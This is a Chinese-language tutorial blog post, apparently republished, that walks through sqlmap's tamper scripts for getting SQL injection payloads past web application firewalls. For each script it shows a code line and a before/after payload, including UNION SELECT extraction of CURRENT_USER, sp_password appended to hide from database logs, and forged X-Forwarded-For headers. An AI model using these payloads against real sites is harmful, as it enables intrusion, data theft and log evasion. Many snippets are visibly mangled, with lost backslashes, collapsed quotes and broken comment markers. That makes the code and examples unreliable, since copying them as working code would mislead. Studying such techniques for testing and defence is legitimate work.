天天看點

SQLMAP之tamper詳解

sqlmap 是一款注入神器廣為人知,裡面的 tamper 常常用來繞過 WAF ,很實用的子產品,但是卻常常被新手忽略(比如我),今天就整理總結一下 tamper 的用法以及 tamper 的編寫

PS:工具既然叫做工具,就是用來輔助上單的,呸輔助我們完成某些任務的,僅僅适用于當進行某些重複的繁瑣工作或是偶爾懶癌發作時,不能過度依賴

ALL 表示所有資料庫都适用,具體指出哪種資料庫就表名隻隻适用于某些資料。

使用方法:

sqlmap.py XXXXX -tamper "子產品名"

各個 tamper 的作用

下面針對 sqlmap 自帶的 tamper 做一下簡單的解釋。

apostrophemask.py:

return payload.replace(''', "%EF%BC%87") if payload else payload

将單引号 url 編碼,用于過濾了單引号的情況。

1' AND '1'='1 to 1%EF%BC%87 AND %EF%BC%871%EF%BC%87=%EF%BC%871

适用資料庫:ALL

apostrophenullencode.py:

return payload.replace(''', "%00%27") if payload else payload

将單引号替換為寬位元組 unicode 字元,用于過濾了單引号的情況

1' AND '1'='1 to 1�' AND �'1�'=�'1

appendnullbyte.py:

return "%s%%00" % payload if payload else payload

在你構造的payload後面加一個空字元

1' AND '1'='1 to 1' AND '1'='1[]

适用資料庫:Access

base64encode.py:

return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

這個看子產品名也知道是 base64 編碼

1' AND '1'='1 to MScgQU5EICcxJz0nMQ==

between.py:

這個代碼有點長,就不貼代碼了,可以自己去檢視:C:\Python\SQLMap\tamper\between.py

将大于符号和等号用 between 語句替換,用于過濾了大于符号和等号的情況

1 AND A > B to 1 AND A NOT BETWEEN 0 AND B

1 AND A = B to 1 AND A BETWEEN B AND B

bluecoat.py:

用随機的空白字元代替空格,并且将等号替換為 like ,用于過濾了空格和等号的情況

union select from users where id = 1 to union%09select from%09users where id like 1

适用資料庫:MySQL 5.1, SGOS

chardoubleencode.py:

用 url 編碼兩次你的 payload

select * from users to %2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2575%2573%2565%2572

charencode.py:

用 url 編碼一次你的 payload

select * from users to %73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72

charunicodeencode.py:

用 unicode 編碼 payload ,隻編碼非編碼字元

select * from users to u0073u0065u006cu0065u0063u0074u0020u002au0020u0066u0072u006fu006du0020u0075u0073u0065u0072u0073

适用資料庫:ALL,但是需要 asp 和 asp.net 環境

commalesslimit.py:

将 payload 中的逗号用 offset 代替,用于過濾了逗号并且是兩個參數的情況

limit 2,1 to limit 1 offset 2

适用資料庫:MySQL

commalessmid.py:

将 payload 中的逗号用 from for 代替,用于過濾了逗号并且是三參數的情況

mid(version(), 1, 1) to mid(version() from 1 for 1)

commentbeforeparentheses.py:

retVal = re.sub(r"b(w+)(", "g<1>/**/(", retVal)

在某個單詞後的第一個括号前面加入 /**/ ,用于過濾了函數的情況

union select group_concat(table_name) to union select group_concat/**/(table_name)

concat2concatws.py:

payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

用于過濾了 concat 函數的情況

concat(1,2) to concat_ws(mid(char(0), 0, 0), 1, 2)

equaltolike.py:

retVal = re.sub(r"s=s", " LIKE ", retVal)

将等号用 like 代替,用于過濾了等号的情況

select from users where id=1 to select from users where id like 1

escapequotes.py:

return payload.replace("'", "'").replace('"', '"')

将單引号轉換成 \' ,雙引号轉換成 \" ,用于過濾了單引号或雙引号的情況

1' and 1=1--+ to 1\' and 1=1--+

greatest.py:

用 greatest 代替大于符号,用于大于符号被過濾了的情況

1 and a>b to 1 and greatest(a,b+1)=a

ALL

halfversionedmorekeywords.py:

在關鍵字前添加注釋,用于過濾了關鍵字的情況

union select 1,2 to /!0union/!0select 1,2

适用資料庫:MySQL < 5.1

htmlencode.py:

return re.sub(r"1", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload

從名字就知道是将 payload 進行 html 編碼

1' and 1=1--+ to 1' and 1=1--+

ifnull2ifisnull.py:

将 ifnull() 函數轉為 if(isnull()) 函數,用于過濾了 ifnull 函數的情況

ifnull(1, 2) to if(isnull(1), 2, 1)

适用資料庫:MySql

informationschemacomment.py:

retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)

在 information_schema 後面加上 /**/ ,用于繞過對 information_schema 的情況

select table_name from information_schema.tables to select table_name from information_schema/**/.tables

lowercase.py:

将 payload 裡的大寫轉為小寫

UNION SELECT to union select

modsecurityversioned.py:

用注釋來包圍完整的查詢語句,用于繞過 ModSecurity 開源 waf

1 and 2>1--+ to 1 /!30874and 2>1/--+

modsecurityzeroversioned.py:

用注釋來包圍完整的查詢語句,用于繞過 waf ,和上面類似

1 and 2>1--+ to 1 /!00000and 2>1/--+

multiplespaces.py:

在關鍵字周圍添加多個空格

union select 1,2--+ to union select 1,2--+

nonrecursivereplacement.py:

關鍵字雙寫,可用于關鍵字過濾

union select 1,2--+ to uniounionn selecselectt 1,2--+

overlongutf8.py:

這個不是很懂,也去網上搜了下,都說是”轉換給定的 payload 當中的所有字元“,類似空格大于小于這種

select field from table where 2>1 to select%C0%AAfield%C0%AAfromtable%C0%AAwhere%C0%AA2%C0%BE1

percentage.py:

用百分号來繞過關鍵字過濾,具體是在關鍵字的每個字母前面都加一個百分号

select from users to %s%e%l%e%c%t %f%r%o%m %u%s%e%r%s

适用資料庫:ALL, 但是需要 ASP 環境

plus2concat.py:

用 concat 函數來替代加号,用于加号被過濾的情況

select char(13)+char(114)+char(115) from user to select concat(char(113),char(114),char(115)) from user

适用資料庫:SQL Server 2012+

plus2fnconcat.py:

用 fn concat 來替代加号,和上面類似

select char(13)+char(114)+char(115) from user to select {fn concat({ fn concat(char(113),char(114))},char(115))} from user

适用資料庫:Microsoft SQL Server 2008+

randomcase.py:

将 payload 随機大小寫,可用于大小寫繞過的情況

union select 1,2--+ to UniOn SElect 1,2--+

randomcomments.py:

在 payload 的關鍵字中間随機插入 /**/ ,可用于繞過關鍵字過濾

union select 1,2--+ to un//ion sele//ct 1,2--+

securesphere.py:

return payload + " and '0having'='0having'" if payload else payload

在 payload 後面加入字元串,可以自定義

1' and 1=1 to 1' and 1=1 '0having'='0having'

sp_password.py:

retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if in payload else None for in ('#', "-- ")) else "")

在 payload 語句後添加 ssp_password ,用于迷惑資料庫日志

1’ and 1=1--+ to 1 and 1=1-- sp_password

适用資料庫:MSSQL

space2comment.py:

用 /**/ 替代空格,用于空格的繞過

union select 1,2--+ to union//select//1,2--+

space2dash.py:

用注釋符--和一個随機字元串加一個換行符替換控制符

?union select 1,2--+ to union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+

适用資料庫:MSSQL、 SQLite

space2hash.py:

和上面類似,不過這兒是用#注釋符

union select 1,2--+ to union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+

space2morecomment.py:

将空格用 /_/ 替代

union select 1,2--+ to union/_/select/_/1,2--+

space2morehash.py:

和 space2hash.py 類似,但是這兒多一個 # 和換行符,具體看一下對比:

space2hash.py: union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A1,2--+

space2morehash.py:union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+

适用資料庫:MySQL >= 5.1.13

space2mssqlblank.py:

blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

用這些随機空白符替換 payload 中的空格

union select 1,2--+ to union%01select%021,2--+

适用資料庫:SQL Server

space2mssqlhash.py:

用 # 加一個換行符替換 payload 中的空格

union select 1,2--+ to union%23%0Aselect%23%0A1,2--+

适用資料庫:MSSQL、MySQL

space2mysqlblank.py:

blanks = ('%09', '%0A', '%0C', '%0D', '%0B')

用這些随機空白符替換payload中的空格

union select 1,2--+ to union%09select%0D1,2--+

space2mysqldash.py:

用 -- 加一個換行符替換空格

union select 1,2--+ to union--%0Aselect--%0A1,2--+

适用資料庫:MySQL、MSSQL

space2plus.py:

用 + 替換空格

union select 1,2--+ to union+select+1,2--+

space2randomblank.py:

blanks = ("%09", "%0A", "%0C", "%0D")

union select 1,2--+ to union%09select%0C1,2--+

symboliclogical.py:

retVal = re.sub(r"(?i)bANDb", "%26%26", re.sub(r"(?i)bORb", "%7C%7C", payload))

用 && 替換 and ,用 || 替換 or ,用于這些關鍵字被過濾的情況

1 and 1=1 to 1 %26%26 1=1

1 or 1=1 to 1 %7c%7c 1=1

unionalltounion.py:

return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

用 union select 替換union all select

union all select 1,2--+ to union select 1,2--+

unmagicquotes.py:

用寬字元繞過 GPC addslashes

1‘ and 1=1 to 1%df%27 and 1=1--

uppercase.py:

将 payload 大寫

union select to UNION SELECT

varnish.py:

headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload

添加一個 HTTP 頭 “ X-originating-IP ” 來繞過 WAF

還可以自定義:

X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)X-remote-IP: TARGET_PROXY_IP (184.189.250.X)X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)X-remote-IP: * or %00 or %0A

versionedkeywords.py

對不是函數的關鍵字進行注釋

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

to

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

versionedmorekeywords.py:

注釋每個關鍵字

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#

xforwardedfor.py:

headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload

添加一個僞造的 HTTP 頭 “ X-Forwarded-For ” 來繞過 WAF

總結

雖然 sqlmap 自帶的 tamper 可以做很多事情,但是在實際的環境中,往往比較複雜,可能遇到的情況會非常多,這些 tamper 不可能做到很全面的應對各種環境,是以在學習自帶的 tamper 的使用的同時,最好能夠掌握 tamper 的編寫規則,這樣應對各種環境才能應對自如,不過作者也在準備這麼一篇關于 tamper 的編寫方式,希望可以幫到更多的同學,讓我們在學習的路上不是孤軍奮戰。

轉載:http://www.myh0st.cn/index.php/archives/881/